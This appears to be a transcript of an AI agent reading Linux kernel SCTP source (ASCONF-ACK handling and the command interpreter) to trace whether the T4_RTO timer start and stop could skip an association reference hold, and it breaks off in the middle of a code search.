3509:				err_code = SCTP_ERROR_NO_ERROR;
3510:			else {
3511:				err_code = sctp_get_asconf_response(asconf_ack,
3512:								    asconf_param,
3513:								    no_err);
3514:				if (no_err && (SCTP_ERROR_NO_ERROR != err_code))
3515:					no_err = 0;
3516:			}
3517:	
3518:			switch (err_code) {
3519:			case SCTP_ERROR_NO_ERROR:
3520:				sctp_asconf_param_success(asoc, asconf_param);
3521:				break;
3522:	
3523:			case SCTP_ERROR_RSRC_LOW:
3524:				retval = 1;
3525:				break;
3526:	
3527:			case SCTP_ERROR_UNKNOWN_PARAM:
3528:				/* Disable sending this type of asconf parameter in
3529:				 * future.
3530:				 */
3531:				asoc->peer.addip_disabled_mask |=
3532:					asconf_param->param_hdr.type;
3533:				break;
3534:	
3535:			case SCTP_ERROR_REQ_REFUSED:
3536:			case SCTP_ERROR_DEL_LAST_IP:
3537:			case SCTP_ERROR_DEL_SRC_IP:
3538:			default:
3539:				 break;
3540:			}
3541:	
3542:			/* Skip the processed asconf parameter and move to the next
3543:			 * one.
3544:			 */
3545:			length = ntohs(asconf_param->param_hdr.length);
3546:			asconf_param = (void *)asconf_param + length;
3547:			asconf_len -= length;
3548:		}
3549:	
3550:		if (no_err && asoc->src_out_of_asoc_ok) {
3551:			asoc->src_out_of_asoc_ok = 0;
3552:			sctp_transport_immediate_rtx(asoc->peer.primary_path);
3553:		}
3554:	
3555:		/* Free the cached last sent asconf chunk. */
3556:		list_del_init(&asconf->transmitted_list);
3557:		sctp_chunk_free(asconf);
3558:		asoc->addip_last_asconf = NULL;
3559:	
3560:		return retval;
3561:	}
 SourceFile:net/sctp/sm_make_chunk.c]

gemini-3.1-pro-preview

							input: 26714
							output: 49
							thoughts: 54
						

**A Deep Dive into ASCONF ACK and Timer Management**

My train of thought here is centered on a specific detail within the SCTP protocol implementation: the handling of ASCONF ACK messages and their impact on timer management, particularly the `T4_RTO` timer.

I've identified that `sctp_process_asconf_ack` has a crucial function: it frees the last ASCONF chunk. This is a significant detail because it implies the successful processing and acknowledgment of an ASCONF (Association Configuration) request. However, my primary concern immediately shifts to what happens *after* this chunk is freed.

My immediate question is: where is the `T4_RTO` timer stopped? The `T4_RTO` timer is a critical component in SCTP's reliability mechanism, specifically related to retransmission of data. When an ASCONF message is sent, it's likely that `T4_RTO` would have been started to ensure that the acknowledgment of this configuration change is received within a reasonable time. If `sctp_process_asconf_ack` is indeed the point where the last chunk is handled, it logically follows that this timer should also be addressed.

To resolve this, my next step is to meticulously examine the `sctp_sf_do_asconf_ack` function. This function is the core logic for processing ASCONF ACK messages. I need to trace its execution path to understand precisely how it manages the ASCONF chunks and, critically, how it interacts with the `T4_RTO` timer. I'm looking for any calls that might stop, reset, or otherwise handle this timer in conjunction with the successful ASCONF ACK processing. This will involve scrutinizing the code for timer management functions and ensuring that the `T4_RTO` timer is properly accounted for, preventing any potential lingering timers or unexpected behavior that could compromise the reliability of the SCTP association.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_asconf_ack]

map[SourceCode:4050:	/*
4051:	 * ADDIP Section 4.3 General rules for address manipulation
4052:	 * When building TLV parameters for the ASCONF Chunk that will add or
4053:	 * delete IP addresses the D0 to D13 rules should be applied:
4054:	 */
4055:	enum sctp_disposition sctp_sf_do_asconf_ack(struct net *net,
4056:						    const struct sctp_endpoint *ep,
4057:						    const struct sctp_association *asoc,
4058:						    const union sctp_subtype type,
4059:						    void *arg,
4060:						    struct sctp_cmd_seq *commands)
4061:	{
4062:		struct sctp_chunk *last_asconf = asoc->addip_last_asconf;
4063:		struct sctp_paramhdr *err_param = NULL;
4064:		struct sctp_chunk *asconf_ack = arg;
4065:		struct sctp_addiphdr *addip_hdr;
4066:		__u32 sent_serial, rcvd_serial;
4067:		struct sctp_chunk *abort;
4068:	
4069:		if (!sctp_vtag_verify(asconf_ack, asoc)) {
4070:			sctp_add_cmd_sf(commands, SCTP_CMD_REPORT_BAD_TAG,
4071:					SCTP_NULL());
4072:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
4073:		}
4074:	
4075:		/* Make sure that the ADDIP chunk has a valid length.  */
4076:		if (!sctp_chunk_length_valid(asconf_ack,
4077:					     sizeof(struct sctp_addip_chunk)))
4078:			return sctp_sf_violation_chunklen(net, ep, asoc, type, arg,
4079:							  commands);
4080:	
4081:		/* ADD-IP, Section 4.1.2:
4082:		 * This chunk MUST be sent in an authenticated way by using
4083:		 * the mechanism defined in [I-D.ietf-tsvwg-sctp-auth]. If this chunk
4084:		 * is received unauthenticated it MUST be silently discarded as
4085:		 * described in [I-D.ietf-tsvwg-sctp-auth].
4086:		 */
4087:		if (!asoc->peer.asconf_capable ||
4088:		    (!net->sctp.addip_noauth && !asconf_ack->auth))
4089:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
4090:	
4091:		addip_hdr = (struct sctp_addiphdr *)asconf_ack->skb->data;
4092:		rcvd_serial = ntohl(addip_hdr->serial);
4093:	
4094:		/* Verify the ASCONF-ACK chunk before processing it. */
4095:		if (!sctp_verify_asconf(asoc, asconf_ack, false, &err_param))
4096:			return sctp_sf_violation_paramlen(net, ep, asoc, type, arg,
4097:				   (void *)err_param, commands);
4098:	
4099:		if (last_asconf) {
4100:			addip_hdr = last_asconf->subh.addip_hdr;
4101:			sent_serial = ntohl(addip_hdr->serial);
4102:		} else {
4103:			sent_serial = asoc->addip_serial - 1;
4104:		}
4105:	
4106:		/* D0) If an endpoint receives an ASCONF-ACK that is greater than or
4107:		 * equal to the next serial number to be used but no ASCONF chunk is
4108:		 * outstanding the endpoint MUST ABORT the association. Note that a
4109:		 * sequence number is greater than if it is no more than 2^^31-1
4110:		 * larger than the current sequence number (using serial arithmetic).
4111:		 */
4112:		if (ADDIP_SERIAL_gte(rcvd_serial, sent_serial + 1) &&
4113:		    !(asoc->addip_last_asconf)) {
4114:			abort = sctp_make_abort(asoc, asconf_ack,
4115:						sizeof(struct sctp_errhdr));
4116:			if (abort) {
4117:				sctp_init_cause(abort, SCTP_ERROR_ASCONF_ACK, 0);
4118:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
4119:						SCTP_CHUNK(abort));
4120:			}
4121:			/* We are going to ABORT, so we might as well stop
4122:			 * processing the rest of the chunks in the packet.
4123:			 */
4124:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
4125:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
4126:			sctp_add_cmd_sf(commands, SCTP_CMD_DISCARD_PACKET, SCTP_NULL());
4127:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
4128:					SCTP_ERROR(ECONNABORTED));
4129:			sctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,
4130:					SCTP_PERR(SCTP_ERROR_ASCONF_ACK));
4131:			SCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);
4132:			SCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);
4133:			return SCTP_DISPOSITION_ABORT;
4134:		}
4135:	
4136:		if ((rcvd_serial == sent_serial) && asoc->addip_last_asconf) {
4137:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
4138:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
4139:	
4140:			if (!sctp_process_asconf_ack((struct sctp_association *)asoc,
4141:						     asconf_ack))
4142:				return sctp_send_next_asconf(net, ep,
4143:						(struct sctp_association *)asoc,
4144:								type, commands);
4145:	
4146:			abort = sctp_make_abort(asoc, asconf_ack,
4147:						sizeof(struct sctp_errhdr));
4148:			if (abort) {
4149:				sctp_init_cause(abort, SCTP_ERROR_RSRC_LOW, 0);
4150:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
4151:						SCTP_CHUNK(abort));
4152:			}
4153:			/* We are going to ABORT, so we might as well stop
4154:			 * processing the rest of the chunks in the packet.
4155:			 */
4156:			sctp_add_cmd_sf(commands, SCTP_CMD_DISCARD_PACKET, SCTP_NULL());
4157:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
4158:					SCTP_ERROR(ECONNABORTED));
4159:			sctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,
4160:					SCTP_PERR(SCTP_ERROR_ASCONF_ACK));
4161:			SCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);
4162:			SCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);
4163:			return SCTP_DISPOSITION_ABORT;
4164:		}
4165:	
4166:		return SCTP_DISPOSITION_DISCARD;
4167:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 29141
							output: 53
							thoughts: 1122
						

**Analysis of SCTP Timer Handling and Potential Race Conditions**

My initial thought process here was to meticulously trace the execution path within `sctp_sf_do_asconf_ack`, specifically focusing on the interaction between `SCTP_CMD_TIMER_STOP` and `SCTP_CMD_TIMER_START`. My concern was whether a race condition might arise if a timer is stopped and then immediately started again before the stop operation fully takes effect, leading to an unexpected state where `timer_pending` might incorrectly return true.

Upon reviewing the code snippet in `sctp_sf_do_asconf_ack`, I observed the sequence: first, `SCTP_CMD_TIMER_STOP` is called for a specific timer (presumably `SCTP_EVENT_TIMEOUT_T4_RTO`), and if certain conditions are met, `sctp_send_next_asconf` is invoked. This latter function, I reasoned, would likely lead to `sctp_sf_do_prm_asconf` being called, which in turn issues a `SCTP_CMD_TIMER_START` command for the same timer.

My first hypothesis was that if `SCTP_CMD_TIMER_STOP` effectively stops the timer, then when `SCTP_CMD_TIMER_START` is processed later in the command interpreter, `timer_pending(timer)` would evaluate to `false`. This would then correctly trigger `sctp_association_hold(asoc)`, and the subsequent `timer_reduce` would initiate the timer. Under this assumption, I concluded there was no race condition.

However, I then paused to reconsider the order of command execution. I remembered that the command interpreter processes commands sequentially as they are added to the `commands` list. My understanding was that `sctp_sf_do_asconf_ack` adds `SCTP_CMD_TIMER_STOP` *first*, and *then* `sctp_send_next_asconf` adds `SCTP_CMD_TIMER_START`. This means `SCTP_CMD_TIMER_STOP` would be executed *before* `SCTP_CMD_TIMER_START`.

Diving into the `sctp_cmd_interpreter` logic solidified this understanding. When `SCTP_CMD_TIMER_STOP` is encountered:
```c
		case SCTP_CMD_TIMER_STOP:
			timer = &asoc->timers[cmd->obj.to];
			if (timer_delete(timer)) // This is the key operation that stops the timer
				sctp_association_put(asoc);
			break;
```
The `timer_delete` function is responsible for stopping the timer.

Subsequently, when `SCTP_CMD_TIMER_START` is processed:
```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_pending(timer)) // This check is crucial
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout); // Then the timer is restarted
			break;
```
Because `SCTP_CMD_TIMER_STOP` (via `timer_delete`) has already executed, `timer_pending(timer)` *should* return `false`. This, in turn, leads to `sctp_association_hold(asoc)` being called, and then `timer_reduce` effectively restarts the timer. Therefore, my refined conclusion remained: there is no race condition here because the timer is definitively stopped before the check for `timer_pending` occurs.

My next line of inquiry was to question how `timer_pending(timer)` *could* ever be true when `SCTP_CMD_TIMER_START` is called, given the sequential processing. This led me to examine other code paths where `SCTP_CMD_TIMER_START` is used to ensure my understanding of its behavior was consistent across different scenarios.

I reviewed several functions:
*   `sctp_sf_do_5_1C_ack`: Here, `SCTP_CMD_TIMER_STOP` and `SCTP_CMD_TIMER_START` are used for *different* timers (`T1_INIT` and `T1_COOKIE` respectively), so there's no direct interaction between stopping and starting the *same* timer.
*   `sctp_sf_do_5_1D_ce` (AUTOCLOSE): This adds `SCTP_CMD_TIMER_START` for a *new* association. It's highly unlikely the timer would be pending in this context, so `timer_pending` would likely be false.
*   `sctp_sf_do_5_1E_ca` (AUTOCLOSE): Similar to the previous case, this is for an existing association when receiving a `COOKIE_ACK`. Again, the `AUTOCLOSE` timer is generally not expected to be pending at this point.
*   `sctp_sf_do_5_2_6_stale` (T1_INIT): This function adds `SCTP_CMD_TIMER_START` for `T1_INIT`. My crucial question here was: does this function also *stop* `T1_INIT` beforehand? This seemed like a potential scenario where `timer_pending` *could* be true if the timer wasn't properly stopped prior to the `SCTP_CMD_TIMER_START` command being issued. I decided to investigate the implementation of `sctp_sf_do_5_2_6_stale` further to confirm this.

This iterative process of hypothesizing, examining code, and questioning assumptions is how I build confidence in my understanding of complex system behavior.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_5_2_6_stale]

map[SourceCode:2552:	/*
2553:	 * Handle a Stale COOKIE Error
2554:	 *
2555:	 * Section: 5.2.6 Handle Stale COOKIE Error
2556:	 * If the association is in the COOKIE-ECHOED state, the endpoint may elect
2557:	 * one of the following three alternatives.
2558:	 * ...
2559:	 * 3) Send a new INIT chunk to the endpoint, adding a Cookie
2560:	 *    Preservative parameter requesting an extension to the lifetime of
2561:	 *    the State Cookie. When calculating the time extension, an
2562:	 *    implementation SHOULD use the RTT information measured based on the
2563:	 *    previous COOKIE ECHO / ERROR exchange, and should add no more
2564:	 *    than 1 second beyond the measured RTT, due to long State Cookie
2565:	 *    lifetimes making the endpoint more subject to a replay attack.
2566:	 *
2567:	 * Verification Tag:  Not explicit, but safe to ignore.
2568:	 *
2569:	 * Inputs
2570:	 * (endpoint, asoc, chunk)
2571:	 *
2572:	 * Outputs
2573:	 * (asoc, reply_msg, msg_up, timers, counters)
2574:	 *
2575:	 * The return value is the disposition of the chunk.
2576:	 */
2577:	static enum sctp_disposition sctp_sf_do_5_2_6_stale(
2578:						struct net *net,
2579:						const struct sctp_endpoint *ep,
2580:						const struct sctp_association *asoc,
2581:						const union sctp_subtype type,
2582:						void *arg,
2583:						struct sctp_cmd_seq *commands,
2584:						struct sctp_errhdr *err)
2585:	{
2586:		int attempts = asoc->init_err_counter + 1;
2587:		struct sctp_cookie_preserve_param bht;
2588:		struct sctp_bind_addr *bp;
2589:		struct sctp_chunk *reply;
2590:		u32 stale;
2591:	
2592:		if (attempts > asoc->max_init_attempts) {
2593:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
2594:					SCTP_ERROR(ETIMEDOUT));
2595:			sctp_add_cmd_sf(commands, SCTP_CMD_INIT_FAILED,
2596:					SCTP_PERR(SCTP_ERROR_STALE_COOKIE));
2597:			return SCTP_DISPOSITION_DELETE_TCB;
2598:		}
2599:	
2600:		/* When calculating the time extension, an implementation
2601:		 * SHOULD use the RTT information measured based on the
2602:		 * previous COOKIE ECHO / ERROR exchange, and should add no
2603:		 * more than 1 second beyond the measured RTT, due to long
2604:		 * State Cookie lifetimes making the endpoint more subject to
2605:		 * a replay attack.
2606:		 * Measure of Staleness's unit is usec. (1/1000000 sec)
2607:		 * Suggested Cookie Life-span Increment's unit is msec.
2608:		 * (1/1000 sec)
2609:		 * In general, if you use the suggested cookie life, the value
2610:		 * found in the field of measure of staleness should be doubled
2611:		 * to give ample time to retransmit the new cookie and thus
2612:		 * yield a higher probability of success on the reattempt.
2613:		 */
2614:		stale = ntohl(*(__be32 *)((u8 *)err + sizeof(*err)));
2615:		stale = (stale * 2) / 1000;
2616:	
2617:		bht.param_hdr.type = SCTP_PARAM_COOKIE_PRESERVATIVE;
2618:		bht.param_hdr.length = htons(sizeof(bht));
2619:		bht.lifespan_increment = htonl(stale);
2620:	
2621:		/* Build that new INIT chunk.  */
2622:		bp = (struct sctp_bind_addr *) &asoc->base.bind_addr;
2623:		reply = sctp_make_init(asoc, bp, GFP_ATOMIC, sizeof(bht));
2624:		if (!reply)
2625:			goto nomem;
2626:	
2627:		sctp_addto_chunk(reply, sizeof(bht), &bht);
2628:	
2629:		/* Clear peer's init_tag cached in assoc as we are sending a new INIT */
2630:		sctp_add_cmd_sf(commands, SCTP_CMD_CLEAR_INIT_TAG, SCTP_NULL());
2631:	
2632:		/* Stop pending T3-rtx and heartbeat timers */
2633:		sctp_add_cmd_sf(commands, SCTP_CMD_T3_RTX_TIMERS_STOP, SCTP_NULL());
2634:		sctp_add_cmd_sf(commands, SCTP_CMD_HB_TIMERS_STOP, SCTP_NULL());
2635:	
2636:		/* Delete non-primary peer ip addresses since we are transitioning
2637:		 * back to the COOKIE-WAIT state
2638:		 */
2639:		sctp_add_cmd_sf(commands, SCTP_CMD_DEL_NON_PRIMARY, SCTP_NULL());
2640:	
2641:		sctp_add_cmd_sf(commands, SCTP_CMD_PURGE_OUTQUEUE, SCTP_NULL());
2642:	
2643:		/* Cast away the const modifier, as we want to just
2644:		 * rerun it through as a sideffect.
2645:		 */
2646:		sctp_add_cmd_sf(commands, SCTP_CMD_INIT_COUNTER_INC, SCTP_NULL());
2647:	
2648:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
2649:				SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
2650:		sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
2651:				SCTP_STATE(SCTP_STATE_COOKIE_WAIT));
2652:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
2653:				SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
2654:	
2655:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(reply));
2656:	
2657:		return SCTP_DISPOSITION_CONSUME;
2658:	
2659:	nomem:
2660:		return SCTP_DISPOSITION_NOMEM;
2661:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 32308
							output: 41
							thoughts: 841
						

**My Thought Process Regarding SCTP State Machine and Timer Management**

It seems I was initially examining the logic within `sctp_sf_do_5_2_6_stale`. My primary concern there was how the state transition handled stopping the `T1_COOKIE` timer while simultaneously initiating `T1_INIT`. A crucial question that arose in my mind was: what happens if `T1_INIT` is *already* pending when this transition occurs? However, I quickly realized that if the association is in the `COOKIE_ECHOED` state, then `T1_COOKIE` would indeed be pending, but `T1_INIT` *would not* be pending. This clarifies that, in that specific scenario, `T1_INIT` isn't concurrently active.

Continuing this line of inquiry, I then looked at `sctp_sf_do_prm_asoc`, which is where `T1_INIT` is handled. I noted that this function is invoked when the user initiates a `connect()` operation. Given that the association is new at this point, `T1_INIT` would inherently not be pending.

Next, I shifted my attention to `sctp_sf_do_9_2_start_shutdown`, responsible for handling `T2_SHUTDOWN`. This function is called when the user invokes `shutdown()`. My initial thought was whether `T2_SHUTDOWN` could already be pending. However, since this is the very first time `shutdown()` is being called in this context, it's logically impossible for the timer to be pending.

My focus then drifted to the `SCTP_CMD_TIMER_START_ONCE` command. I observed its usage in `sctp_sf_do_6_3_3_rtx` for `T5_SHUTDOWN_GUARD`. The code snippet shows:

```c
			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START_ONCE,
				SCTP_TO(SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD));
```

I delved into the implementation of `SCTP_CMD_TIMER_START_ONCE`. The key logic I found is:

```c
		case SCTP_CMD_TIMER_START_ONCE:
			timer = &asoc->timers[cmd->obj.to];

			if (timer_pending(timer))
				break;
			fallthrough;
```

This reveals that if the timer is already pending, the command simply breaks, doing nothing further. If it's *not* pending, it proceeds to a `fallthrough` to the `SCTP_CMD_TIMER_START` logic.

Now, if the code falls through, it means `timer_pending(timer)` evaluated to `false`. This leads to the execution of `sctp_association_hold(asoc)` followed by `timer_reduce(timer, ...)`. A subtle but critical question then arose in my mind: what if the timer fires *exactly* in the narrow window between the `timer_pending(timer)` check within `SCTP_CMD_TIMER_START_ONCE` and the subsequent `timer_pending(timer)` check within `SCTP_CMD_TIMER_START` (which `fallthrough` leads to)? My conclusion here is that this race condition is not possible. If the timer was pending, the `break` statement would have prevented the fallthrough in the first place. Thus, at the point of entering `SCTP_CMD_TIMER_START`, the timer is guaranteed *not* to be pending.

Let's consider the scenario where `SCTP_CMD_TIMER_START` is directly called. If `timer_pending(timer)` is `TRUE` when `SCTP_CMD_TIMER_START` is invoked, the `sctp_association_hold(asoc)` call is skipped. This brings me to the question: under what circumstances could `SCTP_CMD_TIMER_START` be called when `timer_pending(timer)` is already `TRUE`?

I decided to re-examine `sctp_sf_do_prm_asconf`. The relevant line I found is:

```c
	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
```

This led me to investigate when `sctp_sf_do_prm_asconf` is actually called. My investigation revealed that it's invoked from `sctp_do_sm` when `event_type` is `SCTP_EVENT_T_PRIMITIVE` and `subtype` is `SCTP_PRIMITIVE_ASCONF`. This specific condition occurs when the user calls `sctp_send_asconf`. The natural follow-up question then becomes: is it possible for the user to call `sctp_send_asconf` multiple times? I would need to check the implementation of `sctp_send_asconf` itself to definitively answer this.

map[ContextFile:net/sctp/socket.c Name:sctp_send_asconf]

map[SourceCode: 459:	 /* ADDIP Section 4.1.1 Congestion Control of ASCONF Chunks
 460:	 *
 461:	 * R1) One and only one ASCONF Chunk MAY be in transit and unacknowledged
 462:	 * at any one time.  If a sender, after sending an ASCONF chunk, decides
 463:	 * it needs to transfer another ASCONF Chunk, it MUST wait until the
 464:	 * ASCONF-ACK Chunk returns from the previous ASCONF Chunk before sending a
 465:	 * subsequent ASCONF. Note this restriction binds each side, so at any
 466:	 * time two ASCONF may be in-transit on any given association (one sent
 467:	 * from each endpoint).
 468:	 */
 469:	static int sctp_send_asconf(struct sctp_association *asoc,
 470:				    struct sctp_chunk *chunk)
 471:	{
 472:		int retval = 0;
 473:	
 474:		/* If there is an outstanding ASCONF chunk, queue it for later
 475:		 * transmission.
 476:		 */
 477:		if (asoc->addip_last_asconf) {
 478:			list_add_tail(&chunk->list, &asoc->addip_chunk_list);
 479:			goto out;
 480:		}
 481:	
 482:		/* Hold the chunk until an ASCONF_ACK is received. */
 483:		sctp_chunk_hold(chunk);
 484:		retval = sctp_primitive_ASCONF(asoc->base.net, asoc, chunk);
 485:		if (retval)
 486:			sctp_chunk_free(chunk);
 487:		else
 488:			asoc->addip_last_asconf = chunk;
 489:	
 490:	out:
 491:		return retval;
 492:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 33742
							output: 43
							thoughts: 274
						

**My Thought Process Regarding SCTP ASCONF Handling and T4_RTO Timer**

Okay, let's trace this. My understanding is that when `sctp_send_asconf` is invoked, its primary action is to queue an ASCONF chunk *unless* a specific condition is met. That condition is the presence of a non-NULL `asoc->addip_last_asconf`. If `asoc->addip_last_asconf` *is* NULL, then instead of queuing, the flow proceeds to call `sctp_primitive_ASCONF`. This, in turn, leads to the invocation of `sctp_sf_do_prm_asconf`.

Therefore, I can confidently deduce that `sctp_sf_do_prm_asconf` is *exclusively* called when `asoc->addip_last_asconf` evaluates to NULL. This is a key branching point in the logic.

Now, I need to connect this to the `T4_RTO` timer. My next thought is: if `asoc->addip_last_asconf` is NULL, does that imply the `T4_RTO` timer is pending? I'm trying to establish the relationship between the absence of `addip_last_asconf` and the state of this timer.

To clarify this, I need to understand when `T4_RTO` is *stopped*. If it's not stopped, it's likely pending. I recall that `sctp_sf_do_asconf_ack` is a function that deals with ASCONF acknowledgments. Within this function, there's a command, `SCTP_CMD_TIMER_STOP`, explicitly targeting the `T4_RTO` timer. This is a critical piece of information.

Following the execution path from `sctp_sf_do_asconf_ack`, after the `T4_RTO` timer is stopped, the next step is a call to `sctp_process_asconf_ack`. This function then proceeds to set `asoc->addip_last_asconf = NULL`. This is the exact condition I was looking for – the ASCONF ACK processing leads to `addip_last_asconf` being cleared. Finally, after this reset, `sctp_send_next_asconf` is called. This sequence suggests that the ASCONF ACK handling is responsible for cleaning up, clearing the way for potential new ASCONF transmissions, and in doing so, it also stops the `T4_RTO` timer.

map[ContextFile:net/sctp/socket.c Name:sctp_send_next_asconf]

map[SourceCode:4027:	static enum sctp_disposition sctp_send_next_asconf(
4028:						struct net *net,
4029:						const struct sctp_endpoint *ep,
4030:						struct sctp_association *asoc,
4031:						const union sctp_subtype type,
4032:						struct sctp_cmd_seq *commands)
4033:	{
4034:		struct sctp_chunk *asconf;
4035:		struct list_head *entry;
4036:	
4037:		if (list_empty(&asoc->addip_chunk_list))
4038:			return SCTP_DISPOSITION_CONSUME;
4039:	
4040:		entry = asoc->addip_chunk_list.next;
4041:		asconf = list_entry(entry, struct sctp_chunk, list);
4042:	
4043:		list_del_init(entry);
4044:		sctp_chunk_hold(asconf);
4045:		asoc->addip_last_asconf = asconf;
4046:	
4047:		return sctp_sf_do_prm_asconf(net, ep, asoc, type, asconf, commands);
4048:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 34432
							output: 35
							thoughts: 1795
						

**My Thought Process Regarding the SCTP Timer Bug**

I've been digging into this SCTP timer issue, and I'm trying to piece together the exact sequence of events that leads to this bug. My current understanding is that the problem arises from the interaction between `sctp_sf_do_asconf_ack` and the command interpreter.

Here's how I see it unfolding:

When `sctp_sf_do_asconf_ack` is invoked, it adds two commands to the processing queue: first, `SCTP_CMD_TIMER_STOP` for `SCTP_EVENT_TIMEOUT_T4_RTO`, and then `SCTP_CMD_TIMER_START` for the same timer. My initial thought was that the `sctp_cmd_interpreter` would process these sequentially.

So, the interpreter first encounters `SCTP_CMD_TIMER_STOP`. This command, as I understand it, effectively deletes the timer, marking it as *not* pending.

Next, the interpreter processes `SCTP_CMD_TIMER_START`. This command checks if the timer is already pending. Since the `SCTP_CMD_TIMER_STOP` command just ran, the `timer_pending()` check should indeed return `false`. However, the bug description states that "Because the `timer_pending()` check previously returned true, `sctp_association_hold()` was skipped." This is where I'm getting stuck – how can `timer_pending()` possibly return `true` at this point if `SCTP_CMD_TIMER_STOP` just ran?

I've been trying to find other scenarios where `SCTP_CMD_TIMER_START` might be called when the timer is already pending, hoping that might shed light on this discrepancy. I've reviewed several other functions that use `SCTP_CMD_TIMER_START`:

*   `sctp_sf_do_5_1C_ack`: This starts `SCTP_EVENT_TIMEOUT_T1_COOKIE`. This timer wouldn't be pending on its initial start.
*   `sctp_sf_do_5_2_6_stale`: This stops `T1_COOKIE` and starts `T1_INIT`. Again, `T1_INIT` wouldn't be pending.
*   `sctp_sf_do_prm_asconf`: This starts `SCTP_EVENT_TIMEOUT_T1_INIT`. This timer wouldn't be pending.
*   `sctp_sf_do_9_2_start_shutdown`: This starts `SCTP_EVENT_TIMEOUT_T2_SHUTDOWN`. This timer wouldn't be pending.
*   `sctp_sf_do_5_1D_ce` and `sctp_sf_do_5_1E_ca` (related to `AUTOCLOSE`): The `AUTOCLOSE` timer is started when the association is established. These functions transition the state to `SCTP_STATE_ESTABLISHED`, implying it's the first time `AUTOCLOSE` would be started in this context.
*   `SCTP_CMD_TIMER_START_ONCE` (used for `T5_SHUTDOWN_GUARD`): This command is designed to *not* start the timer if it's already pending. If it falls through to `SCTP_CMD_TIMER_START`, it implies it wasn't pending.

I also re-examined `sctp_sf_do_prm_asconf` and the `T4_RTO` timer. My reasoning here is that `T4_RTO` is started when `sctp_send_asconf` queues an ASCONF chunk and sets `asoc->addip_last_asconf`. This timer is only stopped and `asoc->addip_last_asconf` is cleared when an `ASCONF_ACK` is received. This suggests that `sctp_sf_do_prm_asconf` (which is called by `sctp_primitive_ASCONF`, which is called when `asoc->addip_last_asconf` is NULL) should *not* be called when `T4_RTO` is pending.

And then there's the case of `T4_RTO` expiring. This leads to a retransmission and a `SCTP_CMD_TIMER_RESTART`, which indeed keeps the timer pending and `asoc->addip_last_asconf` non-NULL. However, this doesn't seem to directly involve `sctp_sf_do_asconf_ack` in the sequence I'm investigating.

I'm struggling to find a scenario where `SCTP_CMD_TIMER_START` is executed *after* `SCTP_CMD_TIMER_STOP` within the same command queue processing, and yet the timer is considered pending. This is the core of my confusion, as it seems to be the direct contradiction of the described bug behavior. I'm continuing to explore if there's an overlooked edge case or a subtle interaction I'm missing that could lead to the `timer_pending()` check erroneously returning `true`.

map[Expression:SCTP_CMD_TIMER_START PathPrefix:net/sctp/]

map[Output:net/sctp/sm_sideeffect.c=1275=static int sctp_cmd_interpreter(enum sctp_event_type event_type,
--
net/sctp/sm_sideeffect.c-1535-
net/sctp/sm_sideeffect.c:1536:		case SCTP_CMD_TIMER_START_ONCE:
net/sctp/sm_sideeffect.c-1537-			timer = &asoc->timers[cmd->obj.to];
--
net/sctp/sm_sideeffect.c-1542-
net/sctp/sm_sideeffect.c:1543:		case SCTP_CMD_TIMER_START:
net/sctp/sm_sideeffect.c-1544-			timer = &asoc->timers[cmd->obj.to];
--
net/sctp/sm_statefuns.c=521=enum sctp_disposition sctp_sf_do_5_1C_ack(struct net *net,
--
net/sctp/sm_statefuns.c-622-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
net/sctp/sm_statefuns.c:623:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-624-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
--
net/sctp/sm_statefuns.c=703=enum sctp_disposition sctp_sf_do_5_1D_ce(struct net *net,
--
net/sctp/sm_statefuns.c-883-	if (new_asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:884:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-885-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=938=enum sctp_disposition sctp_sf_do_5_1E_ca(struct net *net,
--
net/sctp/sm_statefuns.c-984-	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:985:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
